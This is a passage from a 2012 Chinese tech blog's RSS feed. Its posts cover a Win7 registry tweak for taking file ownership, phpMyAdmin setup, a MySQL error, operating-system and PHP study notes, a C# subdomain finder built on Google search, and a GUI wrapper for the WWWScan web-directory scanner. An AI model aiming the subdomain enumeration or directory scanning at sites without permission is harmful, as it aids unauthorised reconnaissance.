&lt;p&gt;真麻烦啊。。心里清楚，还得找些图来说明。。额。。基本上感觉自己讲清楚了。。。不清楚的地方。。请留言互相讨论。。谢谢。。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.worldcat.org/title/bian-yi-yuan-li-xue-xi-fu-dao/oclc/302301738&#34;&gt;http://www.worldcat.org/title/bian-yi-yuan-li-xue-xi-fu-dao/oclc/302301738&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://metc.gdut.edu.cn/compile/cmpl3/3-3.htm&#34;&gt;http://metc.gdut.edu.cn/compile/cmpl3/3-3.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WIN7上网提示711错误解决</title>
      <link>http://blog.leaver.me/2012/04/23/win7%E4%B8%8A%E7%BD%91%E6%8F%90%E7%A4%BA711%E9%94%99%E8%AF%AF%E8%A7%A3%E5%86%B3/</link>
      <pubDate>Mon, 23 Apr 2012 12:27:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/23/win7%E4%B8%8A%E7%BD%91%E6%8F%90%E7%A4%BA711%E9%94%99%E8%AF%AF%E8%A7%A3%E5%86%B3/</guid>
      <description>&lt;p&gt;　　朋友今天上网突然网络连接出现了这个问题，也就是无法加载远程访问连接服务。Google了一下，第一种方法就是查看如下的服务是否启动，如果没有，自行启动。
服务名称:eventlog 显示名称: Windows Event Log 启动类型:自动
服务名称:TapiSrv 显示名称: Telephony 启动类型:手动
服务名称:SstpSvc 显示名称: Secure Socket Tunneling Protocol Service 启动类型:手动
服务名称:Netman 显示名称: Network Connections 启动类型:手动
服务名称:nsi 显示名称: Network Store Inte***ce Service 启动类型: 自动
服务名称:RasMan 显示名称: Remote Access Connection Manager 启动类型:手动&lt;/p&gt;
&lt;p&gt;　　启动方法：对着我的电脑点右键-》管理-》服务和应用-》服务 找到对应的服务后，右键属性，启动类型就可以了
　　但是如上操作有时并不可以，会提示有些服务不能启动，这种情况下，&lt;/p&gt;
&lt;p&gt;　　用管理员账号登陆，再打开 c:\windows\system32\logfiles 如果看到 wmi文件夹，在wmi文件夹上点右键，点 获取管理员权限 ,后重启即可修复。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20868_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8c81734100537494754fe25960feac29d5d469fc.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　　附上Win7下添加右键获取管理员权限的方法：&lt;/p&gt;
&lt;p&gt;在Win7下经常要用到管理员权限,为了方便可以添加一个右键菜单,方法如下:
新建一个“记事本”文件，复制以下内容：&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\*\shell\runas]
@=&#34;获取管理员权限&#34;
&#34;NoWorkingDirectory&#34;=&#34;&#34;
[HKEY_CLASSES_ROOT\*\shell\runas\command]
@=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
&#34;IsolatedCommand&#34;=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
[HKEY_CLASSES_ROOT\exefile\shell\runas2]
@=&#34;获取管理员权限&#34;
&#34;NoWorkingDirectory&#34;=&#34;&#34;
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]
@=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
&#34;IsolatedCommand&#34;=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F&#34;
[HKEY_CLASSES_ROOT\Directory\shell\runas]
@=&#34;获取管理员权限&#34;
&#34;NoWorkingDirectory&#34;=&#34;&#34;
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; /r /d y &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F /t&#34;
&#34;IsolatedCommand&#34;=&#34;cmd.exe /c takeown /f \&#34;%1\&#34; /r /d y &amp;&amp; icacls \&#34;%1\&#34; /grant administrators:F /t&#34;
&lt;/pre&gt;
&lt;p&gt;复制好后选文件-另存为,保存类型选&amp;quot;所有文件&amp;quot;,文件扩展名为reg 然后运行即可。&lt;/p&gt;
&lt;p&gt;Win7下取消右键获取管理员权限方法：&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
Windows Registry Editor Version 5.00
[-HKEY_CLASSES_ROOT\*\shell\runas]
[-HKEY_CLASSES_ROOT\exefile\shell\runas2]
[-HKEY_CLASSES_ROOT\Directory\shell\runas]
&lt;/pre&gt;
&lt;p&gt;同样的保存上面内容为reg格式文件即可。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Ubuntu 安装phpmyadmin</title>
      <link>http://blog.leaver.me/2012/04/21/ubuntu-%E5%AE%89%E8%A3%85phpmyadmin/</link>
      <pubDate>Sat, 21 Apr 2012 12:06:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/21/ubuntu-%E5%AE%89%E8%A3%85phpmyadmin/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/archives/196.html&#34;&gt;lamp环境搭建&lt;/a&gt;这篇文章中，使用apt-get安装了lamp环境，可能你会发现mysql命令行操作不方便。那么需要安装web版的phpmyadmin来辅助了。两步；
1.打开终端 输入&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
sudo apt-get install phpmyadmin
&lt;/pre&gt;
&lt;p&gt;执行过程中我记得会让输入msql的密码。和设置phpmyadmin的密码。phpmyadmin的用户名是root
然后直接访问 http://localhost/phpmyadmin，会发现不能用。因为phpmyadmin被安装在了/usr/share/phpmyadmin/目录。&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre lang=&#34;c&#34;&gt;sudo ln -s /usr/share/phpmyadmin/ /var/www/&lt;/pre&gt;
&lt;p&gt;建立一个软连接，不喜欢的话，你也把phpmyadmin直接复制到 /var/www/的文件夹下面也可以。&lt;/p&gt;
&lt;p&gt;在Ubuntu下面就可以通过http://localhost/phpmyadmin正常使用phpmyadmin了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mysql ERROR 1064 (42000) 问题</title>
      <link>http://blog.leaver.me/2012/04/21/mysql-error-1064-42000-%E9%97%AE%E9%A2%98/</link>
      <pubDate>Sat, 21 Apr 2012 11:59:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/21/mysql-error-1064-42000-%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;昨天在lamp环境下写sql语句的时候，其中有一条语句是这样的，看着没什么错啊。。然后执行会报ERROR 1064这个错误。&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;create table book
(id unsigned primary key  auto_increment);
&lt;/pre&gt;
&lt;p&gt;后来解决了原来是是类型不全。必须写成&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;
create table book
(id int unsigned primary key auto_increment);&lt;/pre&gt;
&lt;p&gt;很诡异。。因为理论上unsigned应该是被识别成int unsigned。。还有其他一些情况，反正就是只要报1064.可能语法错误。可能是拼写。或者是分号，mysql的错误提示是很差的。如果把 auto_increment 自增属性加到非主键上。也会报1064的诡异错误。。&lt;/p&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://stackoverflow.com/questions/2758649/unable-create-a-table-error-1064-42000-you-have-an-error-in-your-sql-syntax&#34;&gt;stackoverflow&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>二级域名查找 实现演示（GAPI&#43;Json&#43;C#）</title>
      <link>http://blog.leaver.me/2012/04/20/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E6%9F%A5%E6%89%BE-%E5%AE%9E%E7%8E%B0%E6%BC%94%E7%A4%BAgapi-json-c/</link>
      <pubDate>Fri, 20 Apr 2012 08:23:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/20/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E6%9F%A5%E6%89%BE-%E5%AE%9E%E7%8E%B0%E6%BC%94%E7%A4%BAgapi-json-c/</guid>
      <description>&lt;p&gt;　　　　昨天看到了李劼杰的&lt;a href=&#34;http://www.lijiejie.com/index.php/2-ways-to-get-subdomains/&#34;&gt;检索一个域名下属所有子域名的两种方法&lt;/a&gt;很受启发。想用C#实现一些东西，本来是打算做的相对完整一点的，结果发现Google 开放的api貌似是有限制，段时间内不同提交太多。所以就简单实现一下，有需要的朋友自己扩展&lt;/p&gt;
&lt;p&gt;　　　　刚开始的思路是想Google应该是有开放的api吧。。于是先Google C# 收集 Google搜索结果。翻了一会，看到了 &lt;a href=&#34;http://zhidao.baidu.com/question/143797250.html&#34;&gt;此文&lt;/a&gt; ，一看我去，返回的竟然是json格式。。只听过，从来没有接触过。。。不做总是不会的，试试。&lt;/p&gt;
&lt;p&gt;思路；访问该页面，得到字符串-》去掉多余部分-》解析成对象-》提取对象的字段
　　　　1.访问该&amp;lt;pre lang]&amp;ldquo;C#&amp;quot;&amp;gt;http://ajax.googleapis.com/ajax/services/search/web?v=1.0&amp;amp;q=hello&lt;/pre&gt;，其实hello部分就是需要查找的字串，对于查找二级域名这种事，应用到Google的一个语法就是site:leaver.me。类似这样的，可以获取到所有leaver.me上的子站和内容。。
然后分析json数据。直接访问会发现格式很乱。使用http://jsonformatter.curiousconcept.com/这个工具进行格式化。最终结果如图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20804_z.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/06ed49d2b62047555b3287b29255a3fcaa71d845.jpg&#34;&gt;&lt;/a&gt;
可以很清楚的看出json的结构，results是结果集，我需要的是需要的是[]之间的部分，包括[]，我理解的是这样。默认给出4个结果。&lt;/p&gt;
&lt;p&gt;　　　　2.要去掉多余部分，得用正则表达式了，&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; json = &#34;[&#34; + Regex.Match(json, @&#34;(?&lt;=\[).+?(?=\])&#34;, RegexOptions.IgnoreCase).Value + &#34;]&#34;;  //得到一个数组[]中间的部分&lt;/pre&gt;
&lt;p&gt;json解析我在外国找到了&lt;a href=&#34;https://json.codeplex.com/&#34;&gt;json.net&lt;/a&gt;这个解析器，导入什么的就不说了，至于用法我是看的他的文档&lt;/p&gt;
&lt;p&gt;　　　　3.&lt;pre lang=&#34;java&#34;&gt;List&lt;Result&gt; results = JsonConvert.DeserializeObject&amp;lt;List&lt;Result&gt;&amp;gt;(json); //list 存放解析的结果，result为对应自写类&lt;/pre&gt; 就是将一个json格式的字符串解析成一个list组，组内元素为一个对应的类，就是先分析json的格式。发现每个结果都有如下的格式&lt;/p&gt;
&lt;pre lang=&#34;java&#34;&gt; 
      public  string GsearchResultClass{ get; set; }
      public string unescapedUrl{ get; set; }
      public string url{ get; set; }
      public string visibleUrl{ get; set; }
      public string cacheUrl { get; set; }
      public string title: { get; set; }
      public string titleNoFormatting { get; set; }
      public string content { get; set; }&lt;/pre&gt;
&lt;p&gt;所以写一个类，来用于json数据的反序列号，其实就是解析啦。。这样通过对解析器的调用就能对应着吧json里面的值赋值给类对象了。&lt;/p&gt;
&lt;p&gt;　　　　4.完成后就得到了一个List&lt;Result&gt;对象。里面包含四个结果的所有信息，只要调用results[i].对应属性就可以了。这里分析后可知二级域名在visibleUrl里，所有就调用它。用到了HashSet这个模板。元素唯一不重复。&lt;/p&gt;
&lt;p&gt;最终效果：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20805_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;&lt;/a&gt;
　　　　写程序需要是处理边界情况。。感觉是。主要是我对json格式的解析很不清楚。。只能边学边做。。还有因为写之前没有规划好，打算写全一些，也没想好每个函数来干什么，结果导致后面很麻烦。竟然用了一个全局变量。。其实可以改的。还是算了，演示而已。而且。当时不太清楚google的限制。到达限制后会返回一个错误的结果，多次异常。不顾加强了调试代码的能力，也好。唉。矬人就是矬人啊。。&lt;/p&gt;
&lt;p&gt;源码下载：
[downloadicon href=http://pan.baidu.com/share/link?shareid=91790&amp;amp;uk=1493685990]Finder Demo[/downloadicon]&lt;/p&gt;</description>
    </item>
    <item>
      <title>WWWScan GUI版--WebScan</title>
      <link>http://blog.leaver.me/2012/04/18/wwwscan-gui%E7%89%88--webscan/</link>
      <pubDate>Wed, 18 Apr 2012 21:56:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/18/wwwscan-gui%E7%89%88--webscan/</guid>
      <description>&lt;p&gt;　　网上一直有个版本是Wscan Gui Beta6，首先感谢作者的无私奉献，写代码不容易啊。但是这个我不知道为什么在我的电脑上总是有一些错误。很多功能虽然加上了，但是其实对我有点多余。毕竟，我只是用这个扫描一下。于是，决定自己用C#做个GUI版，模仿实现一下。&lt;/p&gt;
&lt;p&gt;　　然后我看了一下目录结构。如下图所知
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20741_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1ab70fd66fde9efa08507a1d3930a4c4c9c4e53f.jpg&#34;&gt;&lt;/a&gt;
　　貌似作者只是简单写了。然后对应着调用扫描器。我想了下，可以通过修改文件名来实现，因为wwwscan默认只能识别cgi.list，那么我想的是当我选中一种扫描类型后。将对应的字典，比如asp.list改成cgi.list。当然为了保护原文件，复制。。然后调用。这样就不用有这么多exe了。。&lt;/p&gt;
&lt;p&gt;　　第二个我想实现作者的检测网站的脚本类型的功能，想到了两种方法。一种是循环访问index.xxx文件，xxx对asp jsp等，然后判断http状态码，200的话就可以对应判断出来网站脚本了。但是这样测试了一会没成功，还是算了，，然后想了一种猥琐流的方法，就是直接访问首页。然后把源码下载下来，然后搜索&amp;quot;.xxx&amp;quot;字符串，找到就行了，，当然这两种方法都是不完善的。。我也没想到什么完美的。。希望有人知道的话留言指教。&lt;/p&gt;
&lt;p&gt;　　最后的目录就清爽多了
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20742_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5a2532b3507acd9c4ddd6787249e87f588554c46.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　那个4p啊，，就是盲扫描了。。不知道网站脚本的时候采用。。。&lt;/p&gt;
&lt;p&gt;　　界面基本完全模仿了作者的UI，进行了略微调整，希望作者不介意。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20743_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d099861e804d120c52b106989f63254908490533.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　程序需要.net framework 3.5。。win7默认都有。不用担心。xp用户可以下载环境后使用。毕竟是扫描工具，国内那些2b杀软会报毒，不放心的去世界杀毒网自己扫描吧。千万不要用来干坏事，遵守我国相关法律法规。&lt;/p&gt;
&lt;p&gt;[downloadicon href=http://pan.baidu.com/share/link?shareid=83803&amp;amp;uk=1493685990]WebScan下载[/downloadicon]&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统知识点汇总(下)</title>
      <link>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8B/</link>
      <pubDate>Wed, 18 Apr 2012 15:09:44 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8B/</guid>
      <description>&lt;p&gt;太长了，还是分成两篇。此为下&lt;/p&gt;
&lt;p&gt;同时到达的作业使用短作业优先平均周转时间最短。&lt;/p&gt;
&lt;p&gt;系统调用和一般过程调用的区别：
1.运行状态不同 用户态/和心态
2.进入方式不同 过程调用/访问管中断
3.代码层次不同 用户级/系统级&lt;/p&gt;
&lt;p&gt;周转时间=完成时间-提交时间&lt;/p&gt;
&lt;p&gt;平均带权周转时间=周转时间/执行时间&lt;/p&gt;
&lt;p&gt;存储器分配的三种方式：1.直接分配，2.静态分配（连续），3.动态分配（需要用到重定位）&lt;/p&gt;
&lt;p&gt;地址空间是逻辑地址的集合，内存空间是物理地址的集合&lt;/p&gt;
&lt;p&gt;分区存储管理的策略：
分配策略有：首次适应算法、循环首次适应算法、最佳适应算法、最坏适应算法。
a.首次适应算法的优缺点：保留了高址部分的大空闲区，有利于后到来的大型作业的分配；低址部分不断被划分，留下许多难以利用的、小的空闲区，且每次分区分配查找时都是从低址部分开始，会增加查找时的系统开销。
b.循环首次适应算法的优缺点：使内存中的空闲分区分布得更为均匀，减少了查找时的系统开销；缺乏大的空闲分区，从而导致不能装入大型作业。
c.最佳适应算法的优缺点：每次分配给文件的都是最适合该文件大小的分区；内存中留下许多难以利用的小的空闲区。
d.最坏适应算法的优缺点：给文件分配分区后剩下的的空闲区不至于太小，产生碎片的几率最小，对中小型文件分配分区操作有利；使存储器中缺乏大的空闲区，对大型文件的分区分配不利。&lt;/p&gt;
&lt;p&gt;内部碎片是指分配给作业的存储空间未被使用的部分，外部碎片是指系统中无法利用的小存储块。
页面置换算法：
1.最佳置换算法 永远不需要，最长的时间后才能访问的页面被调出
2.先进先出
3.最近最久未使用 传说中的LRU，最近一段时间内没被访问的页面被调出&lt;/p&gt;
&lt;p&gt;采用分段式不会产生内部碎片，虚拟存储器的最大容量是由计算的地址结构决定的&lt;/p&gt;
&lt;p&gt;页面的大小与可能产生缺页中断的次数成反比&lt;/p&gt;
&lt;p&gt;作业在执行中发生了缺页中断，经操作系统处理后，应让其执行被中断的指令&lt;/p&gt;
&lt;p&gt;段页式存储器管理系统中，内存等分成块，然后程序按照逻辑模块划分成若干段。&lt;/p&gt;
&lt;p&gt;先进先出页面置换算法会产生Belady现象&lt;/p&gt;
&lt;p&gt;回收分区后造成空闲分区-1的原因是有有上邻和下邻空闲分区&lt;/p&gt;
&lt;p&gt;执行过程不能被修改的代码称为可重入代码。。
请求分页存储器管理中，地址变换可能因为地址越界，缺页，访问存在权限错误而产生中断&lt;/p&gt;
&lt;p&gt;交换技术是以CPU时间为代价的&lt;/p&gt;
&lt;p&gt;段页式管理中，作业分段，段内分页，页内分块，每条访问内存的指令需要三步
1.通过段号查段表。。得到页表地址
2.通过页号查页表。。得到物理块号
3.物理块号+页内地址 访问真实地址&lt;/p&gt;
&lt;p&gt;固定分区分配和页式管理会产生内碎片，额可变分区和段式则产生外部碎片。&lt;/p&gt;
&lt;p&gt;输出输入控制方式
①程序I/O控制方式:适用于结构简单，只需少量硬件的电路；
②中断驱动I/O控制方式：适用于高效场合；
③直接存储访问DMA I/O控制方式：适用于无须CPU介入的控制器来控制内存与外设之间的数据交流的场合；
④I/O通道控制方式：适用于以字节为单位的干预，同时实现CPU，通道和I/O设备三者并行操作的场合。&lt;/p&gt;
&lt;p&gt;设备处理程序又称为设备驱动程序，其主要任务是接收来自上层的与设备无关的输入输出请求，进行与设备相关的处理&lt;/p&gt;
&lt;p&gt;通道又称为I/0处理机，用来实现内存与外设之间的信息传输。&lt;/p&gt;
&lt;p&gt;为了使多个进程能够更有效的同时处理输入和输出请求，最好使用缓冲池结构的缓冲技术&lt;/p&gt;
&lt;p&gt;缺页中断属于外部中断，Ctrl+C属于程序性中断&lt;/p&gt;
&lt;p&gt;设备分配时涉及到的主要数据结构设备控制表，控制器控制表，通道控制表，系统设备表&lt;/p&gt;
&lt;p&gt;从资源分配的角度可将I/0分为独享设备，共享设备，虚拟设备&lt;/p&gt;
&lt;p&gt;引入缓冲技术的原因：
1.缓和cpu和I/0之间的速度不匹配的矛盾
2.减少中断cpu的次数
3.提高cpu和I/o之间设备的并行性&lt;/p&gt;
&lt;p&gt;文件系统是指文件，管理文件的软件以及数据结构的总体&lt;/p&gt;
&lt;p&gt;文件系统的目的是为了实现对文件的按名存取。
逻辑文件的两种类型：记录式和流式&lt;/p&gt;
&lt;p&gt;二进制的那个位图表行号=（盘块号-1）/列数。
&lt;strong&gt;转载请注明：http://leaver.me/archives/328.html&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>操作系统知识点汇总(上)</title>
      <link>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8A/</link>
      <pubDate>Wed, 18 Apr 2012 14:56:32 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/18/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E7%9F%A5%E8%AF%86%E7%82%B9%E6%B1%87%E6%80%BB%E4%B8%8A/</guid>
      <description>&lt;p&gt;这两天为了考试看完了&lt;a href=&#34;http://book.douban.com/subject/1913490/&#34;&gt;操作系统习题与解析&lt;/a&gt; 写了一些笔记，然后今天整理成电子版，，我去。写完发现2500字了都.唉，苦啊。。顺序没有过多整理。也能加深印象，太长了，还是分成两篇。此为上
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/20732_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/59b3749d2e8d723c6558ed6c851f50d1af8cf56d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;操作系统的发展与形成：1.手工操作阶段，2.脱机输入输出阶段，3.批处理技术，4.多道程序设计技术。&lt;/p&gt;
&lt;p&gt;操作系统的基本类型：1.批处理，2.分时，3.实时。&lt;/p&gt;
&lt;p&gt;操作系统的特征：并发，共享，虚拟性，不确定性&lt;/p&gt;
&lt;p&gt;实时操作系统必须在规定时间内处理完来自外部的事件。。&lt;/p&gt;
&lt;p&gt;现代操作系统的两个基本特征是并发和共享&lt;/p&gt;
&lt;p&gt;内部命令是由系统定义的，常驻内存的处理程序的集合。&lt;/p&gt;
&lt;p&gt;操作系统的结构层次：
裸机-》cpu调度-》内存管理-》设备管理-》文件管理-》作业管理-》命令管理-》用户&lt;/p&gt;
&lt;p&gt;程序顺序执行的特征。顺序性。封闭性，可再现性。&lt;/p&gt;
&lt;p&gt;程序并发执行的特征：间断性，失去封闭性，不可再现性。&lt;/p&gt;
&lt;p&gt;进程的几个基本状态：就绪，执行，阻塞。&lt;/p&gt;
&lt;p&gt;引入进程的目的是使多道程序并发执行，以改善资源利用率，及提高系统吞吐量，而引入线程，则是为了减少并发执行所付出的时空开销，具有更好的并发性。&lt;/p&gt;
&lt;p&gt;每个进程中，访问临界资源的那段程序称之为临界区。&lt;/p&gt;
&lt;p&gt;进程互斥的准则；1.空闲放进，2.忙则等待，3.有限等待，4.让权等待&lt;/p&gt;
&lt;p&gt;管程：局部于管程的共享变量说明了对该数据结构进行操作的一组过程，以及局部与管程的数据设置初始值。&lt;/p&gt;
&lt;p&gt;P，V操作是低级进程通信原语。原语是对进程进行管理和控制的。进程不是指令的集合。&lt;/p&gt;
&lt;p&gt;创建原语的主要工作：向系统申请一个空闲PCB，并为创建进程分配必要的资源，然后初始化PCB，并插入到就绪队列。返回进程的标识号&lt;/p&gt;
&lt;p&gt;一个进程会唤醒，指的是进入就绪状态。&lt;/p&gt;
&lt;p&gt;资源分配的基本单位是进程，CPU分配的基本单位是线程。&lt;/p&gt;
&lt;p&gt;进程的基本特征：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;动态性：进程的实质是程序的一次执行过程，进程是动态产生，动态消亡的。&lt;/li&gt;
&lt;li&gt;并发性：任何进程都可以同其他进程一起并发执行&lt;/li&gt;
&lt;li&gt;独立性：进程是一个能独立运行的基本单位，同时也是系统分配资源和调度的独立单位；&lt;/li&gt;
&lt;li&gt;异步性：由于进程间的相互制约，使进程具有执行的间断性，即进程按各自独立的、不可预知的速度向前推进&lt;/li&gt;
&lt;li&gt;结构特征：进程由程序、数据和进程控制块三部分组成。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;进程之间的关系：同步和互斥&lt;/p&gt;
&lt;p&gt;m个进程访问临界资源，信号量的变化在1- （1-m）之间&lt;/p&gt;
&lt;p&gt;进程是由一个具有一定功能的程序关于某个数据集合的一次运行活动。&lt;/p&gt;
&lt;p&gt;调度的类型：
1.作业调度（也叫；宏观，高级，长程），是从外存调到内存然后进入竞争执行
2.进程调度（也叫：微观，低级，短程），取就绪状态的进程进入执行阶段
3.交换调度（也叫：中级，中程）是将外存中具备执行条件的进程调入内存或者相反&lt;/p&gt;
&lt;p&gt;调度的两种方法：1.剥夺方式，2.非剥夺方式&lt;/p&gt;
&lt;p&gt;进程调度的算法：1.先来先服务，2.最高优先权，3.时间片轮转，4.多级反馈。具体的课本上有。也可以看&lt;a href=&#34;http://www.cnblogs.com/fora/archive/2011/04/05/2006049.html&#34;&gt;此文&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;死锁的原因：1.资源不足。2.推进顺序不当&lt;/p&gt;
&lt;p&gt;形成死锁的必要条件：1.互斥，2.不剥夺。3.部分分配。4.环路等待。&lt;/p&gt;
&lt;p&gt;并非所有不安全状态就为死锁。但反之成立&lt;/p&gt;
&lt;p&gt;银行家算法其实很简单。就是规范化比较麻烦。&lt;a href=&#34;https://zh.wikipedia.org/zh-cn/%E9%93%B6%E8%A1%8C%E5%AE%B6%E7%AE%97%E6%B3%95&#34;&gt;看维基百科吧。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;破坏资源互斥这个条件来避免死锁是不现实的。&lt;/p&gt;
&lt;p&gt;资源的按序分配
这种算法资源按某种规则系统中的所有资源统一编号（例如打印机为1、磁带机为2、磁盘为3、等等），申请时必须以上升的次序。系统要求申请进程：
1、对它所必须使用的而且属于同一类的所有资源，必须一次申请完；
2、在申请不同类资源时，必须按各类设备的编号依次申请。
这样申请的时候要么没有。要么全部分配，破坏了循环等待的条件&lt;/p&gt;
&lt;p&gt;调度算法中程序的相应比=1+等待时间/估计运行时间
操作系统提供给程序员的接口是系统调用
作业生存期的四个状态：1.提交。2.后备，3.开始，3.完成&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;转载请注明：http://leaver.me/archives/317.html&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>php的一些知识点</title>
      <link>http://blog.leaver.me/2012/04/17/php%E7%9A%84%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/</link>
      <pubDate>Tue, 17 Apr 2012 17:37:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/04/17/php%E7%9A%84%E4%B8%80%E4%BA%9B%E7%9F%A5%E8%AF%86%E7%82%B9/</guid>
      <description>&lt;p&gt;一.php中单双引号的区别&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&amp;quot;&amp;quot; 双引号里面的字段会经过编译器解释，然后再当作HTML代码输出。&lt;/li&gt;
&lt;li&gt;&amp;rsquo;&amp;rsquo; 单引号里面的不进行解释，直接输出。
从字面意思上就可以看出，单引号比双引号要快了。单引号支持&#39;和\的转义，但其他一些转义字符就必须是在双引号里了。
例如：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre lang=&#34;php&#34;&gt;
$name=&#39;my name is bystander&#39;;
echo $name //结果是:my name is bystander
echo &#39;$name&#39; //结果是:$name
echo &#34;$name&#34; //结果是:my name is bystander
&lt;/pre&gt;
&lt;p&gt;二.require和include的区别
　　在于，出现错误时，require是error,也就是说脚本会停止执行，而include是warning。也就说说代码会继续执行，另外，无论require的位置如何。即使是放在一个if代码块里面。他也会将指定文件包含进来。。即使该if部分不执行。顺带说下include 和include_once。其实类似于c里面的ifdef。。就是只包含一次。不重复包含。&lt;/p&gt;
&lt;p&gt;三。php类
php类的构造函数命名为_construct.析构函数为_destruct，需要调用父类的构造函数时，使用parent::_construct()来调用&lt;/p&gt;
&lt;p&gt;四。pear包
PEAR是&amp;quot;PHP Extension and Application Repository&amp;quot;的缩写，也就是一个PHP扩展和应用的管理工具，
具体可参考：&lt;a href=&#34;http://www.berlinix.com/php_pear.html&#34;&gt;http://www.berlinix.com/php_pear.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;五。PDO
PDO(PHP Data Objects)扩展为PHP访问数据库定义了一个轻量级的、一致性的接口，它提供了一个数据访问抽象层，这样，无论使用什么数据库，都可以通过一致的函数执行查询和获取数据。PDO随PHP5.1发行，在PHP5.0的PECL扩展中也可以使用。其实就是一个访问数据库的一个类，连数据库的时候实例一个。调用方法就这样。前提是这个装好了。
linux下具体可以参考：&lt;a href=&#34;http://www.pkphp.com/2008/04/24/linux%E4%B8%8B%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85pdo_mysql/&#34;&gt;LINUX下手动安装PDO_MYSQL&lt;/a&gt;
window下和例子（例子也可以在linux下使用）参考此文：&lt;a href=&#34;http://blog.csdn.net/heiyeshuwu/article/details/1355970&#34;&gt;PHP5中PDO的简单使用&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;六。Zend&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;准确地讲 Zend 框架究竟是什么呢？Zend 框架具有以下特征：&lt;/li&gt;
&lt;li&gt;是基于 PHP 建立的。&lt;/li&gt;
&lt;li&gt;是面向对象的。&lt;/li&gt;
